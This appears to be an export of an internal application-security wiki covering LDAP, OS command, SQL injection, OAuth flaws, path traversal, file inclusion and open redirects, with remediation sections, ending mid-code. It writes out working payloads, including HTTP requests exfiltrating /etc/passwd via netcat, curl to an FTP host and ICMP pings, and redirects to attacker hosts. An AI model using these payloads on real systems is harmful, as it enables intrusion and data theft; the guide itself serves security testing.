Only the first complete LDAP filter will process:  
(&(objectClass=\*)(objectClass=\*))

As a result, the printer icon must be shown to the client, because this query always obtains  
results: the filter objectClass=\* always returns an object. When an icon is shown the response  
is true, otherwise the response is false.  
From this point, it is easy to use blind injection techniques. For example, the following  
injections can be constructed:  
(&(objectClass=\*)(objectClass=users))(&(objectClass=foo)(type=Epson\*))  
(&(objectClass=\*)(objectClass=resources))(&(objectClass=foo)(type=Epson\*))

This set of code injections allows the attacker to infer the different objectClass values possible  
in the LDAP directory service. When the response web page contains at least one printer icon,  
the objectClass value exists (TRUE), on the other hand the objectClass value does not exist or  
there is no access to it, and so no icon, the objectclass value does not exist(FALSE).  
Blind LDAP injection techniques allow the attacker access to all information using TRUE/FALSE  
questions.

2.2. OR Blind LDAP Injection:

In this case, the logic used to infer the desired information is the opposite, due to the presence  
of the OR logical operator. Following with the same example, the injection in an OR  
environment should be:  
(|(objectClass=void)(objectClass=void))(&(objectClass=void)(type=Epson\*))

This LDAP query obtains no objects from the LDAP directory service, therefore the printer icon  
is not shown to the client (FALSE). If any icon is shown in the response web page then, it is a  
TRUE response. Thus, an attacker could inject the following LDAP filters for gathering  
information:

(|(objectClass=void)(objectClass=users))(&(objectClass=void)(type=Epson\*))  
(|(objectClass=void)(objectClass=resources))(&(objectClass=void)(type=Epson\*))

2.3. Exploitation example:

In this section, an LDAP environment has been implemented to show the use of the injection  
techniques explained above and also to describe the possible effects of the exploitation of  
these vulnerabilities and the important impact of these attacks in current systems security.  
In this example the page printerstatus.php receives a parameter idprinter to construct the  
following LDAP search filter:

(&(idprinter=Value1)(objectclass=printer))

2.3.1. Discovering Attributes:

Blind LDAP Injection techniques can be used to obtain sensitive information from the LDAP  
directory services by taking advantage of the AND operator at the beginning of the LDAP  
search filter built into the web application. For example, given the attributes defined for the  
printer object shown in figure 9 and the response web page of this LDAP query in figure 10 for  
Value1=HPLaserJet2100,  
  
Fig 9 : Attributes defined for the printer object

Fig 10 : Normal behavior of the application

an attribute discovering attack can be performed by making these following LDAP injections:  
(&(idprinter=HPLaserJet2100)(ipaddress=\*))(objectclass=printer))

Fig 11 : Response web page when the attribute does not exist

( & (idprinter=HPLaserJet2100)(department=\*))(objectclass=printer))

Fig 12 : Response web page when the attribute exists

Obviously, the attacker can infer from these results which attributes exist and which do not. In  
the first case, the information about the printer is not given by the application because the  
attribute ipaddress does not exist or it is not accessible (FALSE). On the other hand, in the  
second case, the response web page shows the printer status and therefore, the attribute  
department exists in the LDAP directory and it is possible access to it.

Furthermore, with blind LDAP injection attacks the values of some of these attributes can be  
obtained. For example, suppose that the attacker wants to know the value of the department  
attribute: he can use booleanization and charset reduction techniques, explained in the next  
sections, to infer it.

2.3.2. Booleanization:

An attacker can extract the value from attributes using alphabetic or numeric search. The crux  
of the idea is to transform a complex value (e.g. a string or a date) into a list of TRUE/FALSE  
questions. This mechanism, usually called booleanization, is summarized in figure 13 and can  
be applied in many different ways.

Fig 13 : Booleanization

Suppose that the attacker wants to know the value of the department attribute. The process  
would be the following:

( & (idprinter=HPLaserJet2100)(department=a\*))(objectclass=printer))

Fig 14 : FALSE. Value doesn´t start with ‘a’

(&(idprinter=HPLaserJet2100)(department=f\*))(objectclass=printer))

Fig 15 : TRUE. Value starts with ‘f’

(&(idprinter=HPLaserJet2100)(department=fa\*))(objectclass=printer))

Fig 16 : FALSE. Value doesn´t start with ‘fa’

(&(idprinter=HPLaserJet2100)(department=fi\*))(objectclass=printer))

Fig 17: TRUE. Value starts with ‘fi’

As shown in figure 9, the department value in this example is financial. The first try with the  
character ‘a’ does not obtain any printer information (figure 14) therefore, the first character  
is not an ’a’. After testing with the rest of the characters, the only one that obtains the normal  
behavior from the application is ’f’ (figure 15). Regarding the second character, the only one  
that results in the normal operation of the application is ’i’ (figure 17) and so on. Following the  
process, the department value can be obtained.

This algorithm can be also used for numeric values. In order to perform this, the  
booleanization process should use ‘greater than or equal to’ (>=) and ‘less than or equal to’  
(<=) operators.

2.3.3 Charset Reduction

An attacker can use charset reduction to decrease the number of requests needed for obtain  
the information. In order to accomplish this, he uses wildcards to test if the given character is  
present \*anywhere\* in the value, e.g.:

(&(idprinter=HPLaserJet2100)(department=\*b\*))(objectclass=printer))

Fig. 18. FALSE. Character ’b’ is not in the department value

( & (idprinter=HPLaserJet2100)(department=\*n\*))(objectclass=printer))

Fig. 19. TRUE. Character ’n’ is in the department value

Figure 18 shows the response web page when the character ’b’ is tested: no results are sent  
from the LDAP directory service so no letter ‘b’ is present, but in figure 19 a normal response  
web page is shown, meaning that the character ’n’ is in the department value.  
Through this process, the set of characters comprising the department value can be obtained.  
Once the charset reduction is done, only the characters discovered will be used in the  
booleanization process, thereby decreasing the number of requests needed.

**Mitigation:**

The escape sequence for properly using user supplied input into LDAP differs depending on if the user input is used to create the DN (Distinguished Name) or used as part of the search filter. The listings below shows the character that needs to be escape and the appropriate escape method for each case.

Used in DN - Requires \ escape:  
• &  
• !  
• |  
• =  
• <  
• >  
• ,  
• +  
• -  
• "  
• '  
• ;  
Used in Filter- Requires {\ASCII} escape  
• ( {\28}  
• ) {\29}  
• \ {\5c}  
• {\2a}  
• / {\2f}  
• NUL {\0}

# [**Link Injection**](https://confluence.es.ad.adp.com/display/APPSEC/Link+Injection)

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Link+Injection#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1467417871)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Link+Injection#page-metadata-start)

**Note: This Document needs to be reviewed by Team**

Points to check link injection vulnerability is present or not  
• Check that the application is having any input fields which accepts the URL/Link as input. If yes check that the application is set with any white listing of websites  
• Check that the application is validating the whitelisted websites at client side or server side.  
• Check that the application is checking for any particular domain in present in the url(like whitelisting the particular domain) if yes try to add the domain in last (Example Say the application is checking that the link is having "[adp.com](http://adp.com/)" domain in the last, try to add <https://demo.testfire.net/#adp.com>)  
• Check that the application is accepting the user input via parameter or directly in the URL is reflected in the page response  
• Check that can we inject any URLs/links in error messages  
• Check any signup page is available and try to check some applications send the email verification/email confirmation message will be sent from client side(Check the response and add malicious link to that email message)  
• Check the application is sending any email invitations which can configure at client side with malicious hyperlinks

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/OAuth+Testing#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 09, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1752011875)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/OAuth+Testing#page-metadata-start)

**What is OAuth**

 OAuth is a commonly used authorization framework that enables websites and web applications to request limited access to a user's account on another application. OAuth allows the user to grant this access without exposing their login credentials to the requesting application. Basic OAuth process is widely used to integrate third-party functionality that requires access to certain data from a user's account.

**Example:**

Suppose you have a photo editing application. And to edit photos it needs to access photos from Google photos. So every user needs to provide Google’s email and password to this application so the app can edit those photos.*So are you going to provide the credentials of google to some other application?***Obviously NO!**

Then there must be another way to give access to this photo editing application to edit your photos. This is where OAuth helps!

**Using OAuth, the scenario would be different:**

Now, this photo editing application will have to first take authorization from Google(Resource server) which will provide access only for photos to this application and it will be provided for a limited period.

**OAuth Tokens:**

**Access tokens** are the token the client uses to access the Resource Server. They have very short lifetime i.e they expire within some minutes or hours.

**Refresh Tokens** are the tokens that the client uses to get a new Access token. Their lifetime is much longer than access tokens i.e days, month and years.

**How does OAuth 2.0 works:**

OAuth 2.0 was originally developed as a way of sharing access to specific data between applications. It works by defining a series of interactions between three distinct parties, namely a client application, a resource owner, and the OAuth service provider.

* **Client application** - The website or web application that wants to access the user's data.
* **Resource owner** - The user whose data the client application wants to access.
* **OAuth service provider** - The website or application that controls the user's data and access to it. They support OAuth by providing an API for interacting with both an authorization server and a resource server.

**OAuth 1.0 vs. OAuth 2.0**

* OAuth 2.0 is a complete redesign from OAuth 1.0, and the two are not compatible.
* OAuth 2.0 is faster and easier to implement. OAuth 1.0 used complicated cryptographic requirements, only supported three flows, and did not scale.
* OAuth 2.0, on the other hand, has six flows for different types of applications and requirements, and enables signed secrets over HTTPS. OAuth tokens no longer need to be encrypted on the endpoints in 2.0 since they are encrypted in transit.

**Common OAuth Vulnerabilities:**

**1.Stealing OAuth Token via redirect\_uri**

The request always contains a **redirect\_uri** parameter used by the OAuth server to send back the token to the application after the user has given its consent. In case the values of this parameter are not controlled or verified, an attacker can easily modify this parameter and redirect the request to his website

**Original OAuth request:**

[https://www.example.com/signin/authorize?[...]&redirect\_uri=https://demo.example.com/loginsuccessful](https://www.example.com/signin/authorize?%5b...%5d&redirect_uri=https://demo.example.com/loginsuccessful)

**Malicious OAuth Request:**

[https://www.example.com/signin/authorize?[...]&redirect\_uri=https://localhost.evil.com](https://www.example.com/signin/authorize?%5b...%5d&redirect_uri=https://localhost.evil.com)

**2.Cross-Site Request Forgery**

Cross-Site request forgery can happen when an attacker succeeds in making a victim click on a link, thus generate a request that he doesn not intend to generate. Cross-site request forgery is usually mitigated using a **CSRF token** that is usually linked to the user’s session to help the application verify the identity of the person issuing the request. The **‘state’ parameter** in the OAuth protocol serves as a CSRF token

**Methodology:**

1.Check if ‘ state ‘ param in OAuth Authorization Link is validated.  
2.Derive yourself a valid ‘authorization\_code’ link and don’t use it.  
3.Send this active ‘authorization\_code’ link to victim  
4.Your account will get connected with victim’s account  
5.Now login via your own account.

Flawed scope validation

Every time when user login to the authorization server, they will be presented with a list of data that the client application wants to access (Like Email, profile picture).

              With the [*authorization code grant*](https://infosecwriteups.com/oauth-2-0-hacking-simplified-part-1-understanding-basics-ad323cb4a05c) type, the user’s data is requested and sent via secure server-to-server communication. For attacker it is impossible to manipulate directly. However attacker can register their own client application with the OAuth service.

              For the [*implicit grant*](https://infosecwriteups.com/oauth-2-0-hacking-simplified-part-1-understanding-basics-ad323cb4a05c) type, the access token is sent via the browser. Attackers can steal tokens and use them directly by sending a normal browser-based request to the OAuth endpoint, manually adding a new scope parameter in the process.

Host Header Injection

If the host is not being validated at the server, there is possibility to redirect the token to malicious host via host header injection.

Example:

GET /api/twitter/login?csrf=token HTTP/1.1

Host: [attacker.com/victim.org](http://attacker.com/victim.org)

Referer: <https://www.victim.org/>

Cookie:cookie

As we changed the host header, it will redirect Oauth authorization link to the attacker’s host and leak the token that is issued.

[Skip to end of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1759712991#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 16, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1759712991)

[Go to start of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1759712991#page-metadata-start)

**What is OS Command Injection Vulnerability?**

[OS command injection, popularly known as Shell injection is a web application vulnerability that allows an attacker to](https://portswigger.net/web-security/os-command-injection)execute OS commands on the server with the privileges of the vulnerable application. These attacks are only possible if the vulnerable web application code includes operating system calls that leverage user input. An attacker would try to retrieve sensitive information like Operating System Password Files, Operating System configuration files, Database files, Application Source Code etc. by exploiting the OS command injection vulnerability.

**Example Scenarios for OS Command Injection:**

* ADP admin Application that sends an email to a user supplied address.
* Enterprise Server Monitoring application that return system health information,
* ADP Market Place applications that use 3rd party tools to generate on-the-fly reports based on user supplied input.

**Ways of injecting OS commands**

A variety of shell metacharacters can be used to perform OS command injection attacks. Below are few such meta characters that can be used to perform injection attacks.

1. **Windows and Linux based systems:**

&

&&

|

||

1. **Only on Unix-based systems:**

;

Newline (0x0a or \n)

**Blind OS Command Injection:**

In blind injection technique the results of the commands that you inject will not be displayed in the same application channel. Attackers will use metacharacters like >, <, ||, && to concatenate OS commands and they will leverage data exfiltration techniques to retrieve the command output. Below are the various techniques for exfiltrating data from a server using blind OS command injection. These techniques are illustrated by the help of an ADP admin application whose functionality is to retrieve IP address or domain name system (DNS) record by accepting hostname as an input.

1. **NetCat**

In case, if NetCat is installed and available on the vulnerable server, you could use it to set up a listener and then redirect the output of OS commands to listener.

**Exploitation Steps:**

1. Try to break out of the original OS command i.e. nslookup.
2. Setup a NetCat listener on the vulnerable ADP application server using concatenation operators like &&, || etc.
3. Pipe the contents of the file that you want to exfiltrate into listener.

**HTTP Request:**

POST /bWAPP/commandi.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: <http://localhost/bWAPP/commandi.php>

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

Cookie: PHPSESSID=3laqgb16v64c5mrqiukmffa37i; security\_level=0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

target=[www.adp.com](http://www.adp.com/)**+%7C+nc+%E2%80%93l+%E2%80%93p+4444+%3C+%2Fetc%2Fpasswd&form=submit**

1. Connect to the listener on vulnerable server from testers machine (VM) using NetCat and retrieve the output.
2. **cURL**

In case if the vulnerable server has cURL installed on it, then we can use it to steal the sensitive information  from malicious web server by using a number of protocols, like **FTP/TFTP/TELNET etc.**

**Exploitation Steps:**

1. Try to break out of the original OS command i.e. nslookup.
2. Setup an FTP server on attacker machine (VM) by leveraging the default port 21.
3. Use the CURL command with -T flag to transfer the /etc/passwd file contents from our vulnerable ADP server to our test FTP server running on our VM.

**HTTP Request:**

POST /bWAPP/commandi.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: <http://127.0.0.1/bWAPP/commandi.php>

Content-Type: application/x-www-form-urlencoded

Content-Length: 114

Connection: close

Cookie:\_ga=GA1.1.1227569152.1598192370;\_octo=GH1.1.787571931.1598192371; security\_level=0; PHPSESSID=uerjl5cm51o99k2u6qts7nr9nn

Upgrade-Insecure-Requests: 1

target=[demo.testfire.net](http://demo.testfire.net/)+%26%26+curl+-T+%22%2Fetc%2Fpasswd%22+ftp%3A%2F%2Ftest%3Atest%40192.168.2.8%2F&form=submit

1. Observe the FTP server logs to confirm whether file transfer is successful or not.
2. **ICMP**

Use ICMP to exfiltrate the data, in case If the target ADP application server is been hardened and tools such as NetCat, and CURL have been removed.

**Exploitation Steps:**

1. Try to break out of the original OS command i.e. lookup.
2. If underlying application server OS is Linux, then leverage ICMP to exfiltrate the data in ICMP echo requests using -p flag.
3. Use the CURL command with -T flag to transfer the **/etc/passwd** file contents from our vulnerable ADP server to our test FTP server running on our VM.

**HTTP Request:**

POST /bWAPP/commandi.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: <http://127.0.0.1/bWAPP/commandi.php>

Content-Type: application/x-www-form-urlencoded

Content-Length: 150

Connection: close

Cookie:\_ga=GA1.1.1227569152.1598192370;\_octo=GH1.1.787571931.1598192371; security\_level=0; PHPSESSID=nek9qsa146t0rt9c59i37npsbn

Upgrade-Insecure-Requests: 1

target=[**demo.testfire.net**](http://demo.testfire.net/)**+%26%26++cat+%2Fetc%2Fpasswd+%7C+xxd+-p+-c+16+%7C+while+read+exfil%3B+do+ping+-p+%24exfil+-c+1+192.168.2.8%3B+done&form=submit**

1. Collect the exfiltrated data from ICMP echo packets in our test VM by using Wireshark.

**Note:**

The ICMP –p flag allows us to specify up to 16 pad bytes. This is where we will store the data, that we want to exfiltrate.

**Remediation:**

* All user input should be sanitised, by leveraging a whitelist of allowed characters. Anything that is not there in the list should be logged and discarded.
* Remove any unnecessary tools from the server such as cURL, Wget and NetCat which could be used by an attacker.
* Run the web service daemon with a low privileged account.
* Use firewalls to prevent an attacker from calling back to their server.

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Path+Traversal+Vulnerability#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Feb 04, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1399555398&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/Path+Traversal+Vulnerability#page-metadata-start)

**Path Traversal Cases**

Directory traversal (also known as file path traversal) is a vulnerability that allows an attacker to read arbitrary files on the server that is running an application.

1. Check whether the application has implemented any defense against the path traversal attacks, by supplying the simple plain playloads like ../../(linux), ..\..\(win) to thery parameters, url parameters, file paths.
2. When an application strips or blocks directory traversal sequences, then it might be possible to bypass the defense using a absolute path,such as filename=/etc/passwd (or) ////etc/passwd, to directly reference a file without using any traversal sequences.
3. If the simple payload is blocked by the application, then check for nested travel sequences, such as ....//....//; ..../\
4. Check if the application is blocking the different encoded versions of travel sequences like UTF-8, such as ..%252f..%252f..%252f
5. If the application requires the user input to end with an expected file extension, then try to bypass it using the null value

Ex: ../../../etc/passwd%00.pdf

1. Observe the application response to construct the payloads in order to bypass the path traversal preventions, similar to that of the cross site scripting.

Below are some of the absolute file paths

../

..\

..\/

%2e%2e%2f

%252e%252e%252f

%c0%ae%c0%ae%c0%af

%uff0e%uff0e%u2215

%uff0e%uff0e%u2216

..././

....\

Remediation:

1. The best way to eliminate Path Traversal vulnerabilities is to avoid reading files dynamically based on user input. If this is not possible, the application should employ strong input validation by maintaining a whitelist of files that can be included in order to limit the attacker’s control over what gets included.
2. Exclude the directory separators “/” to prevent the web-application from the directory traversal attacks

References:

1. <https://owasp.org/www-community/attacks/Path_Traversal>
2. <https://cwe.mitre.org/data/definitions/36.html>
3. <https://www.hackingarticles.in/comprehensive-guide-on-path-traversal/>

[Skip to end of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1865518664#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Jan 11, 2022](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1865518664)

[Go to start of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1865518664#page-metadata-start)

LFI is a web vulnerability that results from mistakes at the website or web application programmers’ end. A hacker can take advantage of this vulnerability to include malicious files which are then executed by the vulnerable website or web application.

In an LFI vulnerability, the included file is already present on the local application server, targeted by the hacker. If successful, the attacker can read important files, access more sensitive information, or run arbitrary commands.

### **How Does Local File Inclusion Work?**

In Local File Inclusion, perpetrators exploit vulnerable PHP programs to access confidential data or run malicious scripts on the target server. This can expose critical data or allow threat actors to launch remote code execution or [Cross-site Scripting (XSS)](https://spanning.com/blog/cross-site-scripting-web-based-application-security-part-3/) attacks. LFI occurs when an application includes a file as user input without properly validating it. This allows an attacker to include malicious files by manipulating the input.

Here’s an example of a vulnerable PHP code that could lead to LFI:

[**https://example.com/?page=filename.php**](https://example.com/?page=filename.php)

Without proper input sanitizing, an attacker could easily modify the input (as shown below) to manipulate the application into accessing unauthorized files and directories from the host server using the “../” directive. This is known as [Directory (Path) Traversal](https://spanning.com/blog/directory-traversal-web-based-application-security-part-8/):

[**https://example.com/?page=../../../../etc/test.txt**](https://example.com/?page=../../../../etc/test.txt)

In this example, a hacker was able to successfully exploit the vulnerability by simply replacing the “**filename.php**” with “**../../../../etc/test.txt**” in the path URL to access the test file. If this can be accomplished, a hacker can then backdoor upload a malicious script to the host server and use LFI to access the script. A simplified version of the process would look something like this:

**Remediation:** The main cause for LFI and RFI vulnerabilities is improper input validation; therefore, efforts should be made to ensure the input received is properly sanitized before allowing it to pass to an include function.

Here are a few ways you can protect your web applications from these vulnerabilities.

* Disable the remote inclusion feature by setting the “allow\_url\_include to 0” in your PHP configuration.
* If circumstances demand that you enable the remote file inclusion feature, ensure that you make a whitelist of accepted filenames and limit the input to only those files on the list.
* Disable the “allow\_url\_fopen” option to control the ability to open, include or use a remote file.
* Use preset conditions as an alternative to filenames when file inclusion is based on user input.

[Skip to end of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1865518607#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Jan 11, 2022](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1865518607)

[Go to start of metadata](https://confluence.es.ad.adp.com/pages/viewpage.action?pageId=1865518607#page-metadata-start)

Remote file inclusion (RFI) is an attack targeting vulnerabilities in web applications that dynamically reference external scripts. The perpetrator’s goal is to exploit the referencing function in an application to upload malware (e.g., backdoor shells) from a remote URL located within a different domain.

### **How Does Remote File Inclusion Work?**

While RFI and LFI vulnerabilities are similar, in an RFI attack, the perpetrator can execute malicious code from an external source instead of accessing a file on the local web server, as is the case with an LFI attack.

In Remote File Inclusion attacks, hackers take advantage of the “dynamic file include” command in web applications to upload malicious external files or scripts. When web applications allow user input, such as URL, parameter value, etc., and pass them to the “file include” mechanisms without proper sanitization, perpetrators can manipulate the web application to include remote files with malicious scripts.

Here is a simplified version of what Remote File Inclusion looks like:

## How to Test

Since RFI occurs when paths passed to “include” statements are not properly sanitized, in a black-box testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:

$incfile = $\_REQUEST["file"];

include($incfile.".php");

In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against an allow list), so this snippet of code results vulnerable to this type of attack. Consider the following URL:

<http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page>

In this case the remote file is going to be included and any code contained in it is going to be run by the server.

**Remediation:**

## The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain an allow list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/SQL+Injection#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o ") on [Sep 02, 2021](https://confluence.es.ad.adp.com/pages/viewpreviousversions.action?pageId=1747063812)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/SQL+Injection#page-metadata-start)

**Description:**

An SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the  
client to the application. A successful SQL injection exploit can read sensitive data from the database,  
modify database data (Insert/Update/Delete), execute administration operations on the database (such  
as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in  
some cases issue commands to the operating system.

**Consequences:**

Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can  
sometimes lead to complete host takeover.

**Where to Test:**

The first step in this test is to understand when the application interacts with a DB Server in order to  
access some data or Where ever application interacts with database

**How it works:**

In General how the applications retrieve database content for the user supplied data in the below way,

Select DOB, SSN from user where id=20

In this example variable ‘id’ contains user- supplied data, attacker can change the logic of SQL statement  
by modifying the WHERE clause by adding a condition " or 1=1".

Resulting SQL query would be like this,

Select DOB, SSN from user where id=20 or 1=1

This query retrieves all the records in the Table.

**How to Detect:**

**1. SQL Injection Check - Adding a single quote(‘) or Semicolon(;)**

By Adding a Single Quote or Semicolon to the parameter, SQL query would become incorrect and  
results error message if Single Quote or Semicolon is not filtered properly,

E.g.: Select DOB, SSN from user where id=20’

Result:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the

Character string ''.

/target/target.asp, line 113

If application gives above kind of error messages, that indicates SQL Injection vulnerability is  
exists.

What if when user enters a Single quote and application re-directs to custom error page..? Then  
Check for Bling SQLI

**2. Blind SQL Injection Check -**

Blind SQL injection description:

Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that asks  
the database true or false questions and determines the answer based on the applications response.  
This attack is often used when the web application is configured to show generic error messages,  
but has not mitigated the code that is vulnerable to SQL injection.

If application generates Custom error page when user enters Semicolon User Boolean  
Exploitation Techniques

**Boolean Exploitation:**

Asking True or False questions, Analyzing results based on response

a) Try id=4 AND 1=1 ,

If application loads same page try below,

b) Try id=4 AND 1=0

If application loads a different page then SQL Injection vulnerability exists.

Checking through concatenation:

Instead of value ‘4’ give ‘3+1’

Select DOB , SSN from user where id=3+1

If application loads the same page then SQL Injection vulnerability exists.

**3. Time Based SQL Injection Payloads based on Database:**

**SQL Server:**

id=4 and wait for delay '00:00:10'

id=4 and WAIT FOR TIME 'hh:mm:ss'

**My SQL:**

id=4 AND IF(version() like ‘5%’, sleep(10), ‘false’))—

Id= 4 And BENCHMARK(5000000,ENCODE('MSG','by 5 seconds'))

**Oracle:**

BEGIN DBMS\_LOCK.SLEEP(15); END;

**How to Exploit SQL Injection:**

**1. To check for number of rows like below,**

User ‘Order by’

Id=3 order by 4

**2. To get details about current query,**

We need to create another query to get details about current query

id=3 union select 1,2,3,4

**3. To get the Version number**

id =3 union select 1,2,version(),4

**4. To get Database version**

a. id=3 and union select 1,2,database(),4

**5. To retrieve Table name**

a. id=3 and union select 1,2,group\_concat(tablename),4 from  
infromation\_schema.tablename where schema\_tables=database()

**6. To retrieve Column names**

a. id=3 and union select 1,2,group\_concat(columnname),4 from  
infromation\_schema.columnname where schema\_tables=database()

If the Version is less than 5, then we need to guess the table names.

**Exploiting Blind SQL Injection:**

**1. To know the version name of the database,**

 id=4 and substring(version(),1,1)=5

**2. To check whether select is working or not**

Id=4 and (select 1)=1

Finding description:

Finding rating:

[Skip to end of metadata](https://confluence.es.ad.adp.com/display/APPSEC/URL+re-direction#page-metadata-end)

* Created by [Kondapalli, Jaya (CORP)](https://confluence.es.ad.adp.com/display/~KondapaJ" \o "), last modified on [Mar 30, 2021](https://confluence.es.ad.adp.com/pages/diffpagesbyversion.action?pageId=1467417857&selectedPageVersions=1&selectedPageVersions=2)

[Go to start of metadata](https://confluence.es.ad.adp.com/display/APPSEC/URL+re-direction#page-metadata-start)

**URL Redirection Vulnerability:**

**Note: This document requires review by team**

**Description:**

Invalidated redirects and forwards are possible when a web application accepts untrusted input that could cause the web application to redirect the request to a URL contained within untrusted input. By modifying untrusted URL input to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials.

Because the server name in the modified link is identical to the original site, phishing attempts may have a more trustworthy appearance. Unvalidated redirect and forward attacks can also be used to maliciously craft a URL that would pass the application's access control check and then forward the attacker to privileged functions that they would normally not be able to access.

**Dangerous URL Redirects:**

The following examples demonstrate unsafe redirect and forward code.

**Example:**

The following Java code receives the URL from the parameter named url ([GET or POST](https://docs.oracle.com/javaee/7/api/javax/servlet/ServletRequest.html#getParameter-java.lang.String-)) and redirects to that URL:

response.sendRedirect(request.getParameter("url"));

The following PHP code obtains a URL from the query string (via the parameter named url) and then redirects the user to that URL. Additionally, the PHP code after this header() function will continue to execute, so if the user configures their browser to ignore the redirect, they may be able to access the rest of the page

$redirect\_url = $\_GET['url'];

header("Location: " . $redirect\_url);

**A similar example of C# .NET Vulnerable Code:**

string url = request.QueryString["url"];

Response.Redirect(url);

**And in Rails:**

redirect\_to params[:url]

The above code is vulnerable to an attack if no validation or extra method controls are applied to verify the certainty of the URL. This vulnerability could be used as part of a phishing scam by redirecting users to a malicious site.

If no validation is applied, a malicious user could create a hyperlink to redirect your users to an unvalidated malicious website, for example

<http://example.com/example.php?url=http://malicious.example.com>

The user sees the link directing to the original trusted site ([example.com](http://example.com/)) and does not realize the redirection that could take place

**Dangerous URL Redirect Example 2:**

[ASP .NET MVC 1 & 2 websites](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks) are particularly vulnerable to open redirection attacks. In order to avoid this vulnerability, you need to apply MVC 3.

The code for the LogOn action in an ASP.NET MVC 2 application is shown below. After a successful login, the controller returns a redirect to the returnUrl. You can see that no validation is being performed against the returnUrl parameter.

ASP.NET MVC 2 LogOn action in AccountController.cs :

[HttpPost]

 public ActionResult LogOn(LogOnModel model, string returnUrl)

 {

   if (ModelState.IsValid)

   {

     if (MembershipService.ValidateUser(model.UserName, model.Password))

     {

       FormsService.SignIn(model.UserName, model.RememberMe);

       if (!String.IsNullOrEmpty(returnUrl))

       {

         return Redirect(returnUrl);

       }

       else

       {

         return RedirectToAction("Index", "Home");

       }

     }

     else

     {

       ModelState.AddModelError("", "The user name or password provided is incorrect.");

     }

   }

   // If we got this far, something failed, redisplay form

   return View(model);

 }

### **Dangerous Forward Example**

When applications allow user input to forward requests between different parts of the site, the application must check that the user is authorized to access the URL, perform the functions it provides, and it is an appropriate URL request.

If the application fails to perform these checks, an attacker crafted URL may pass the application's access control check and then forward the attacker to an administrative function that is not normally permitted.

**Example:**

<http://www.example.com/function.jsp?fwd=admin.jsp>

The following code is a Java servlet that will receive a GET request with a URL parameter named fwd in the request to forward to the address specified in the URL parameter. The servlet will retrieve the URL parameter value [from the request](https://docs.oracle.com/javaee/7/api/javax/servlet/ServletRequest.html#getParameter-java.lang.String-) and complete the server-side forward processing before responding to the browser.

public class ForwardServlet extends HttpServlet

{

  protected void doGet(HttpServletRequest request, HttpServletResponse response)

                    throws ServletException, IOException {

    String query = request.getQueryString();

    if (query.contains("fwd"))

    {

      String fwd = request.getParameter("fwd");

      try

      {

        request.getRequestDispatcher(fwd).forward(request, response);

      }

      catch (ServletException e)

      {

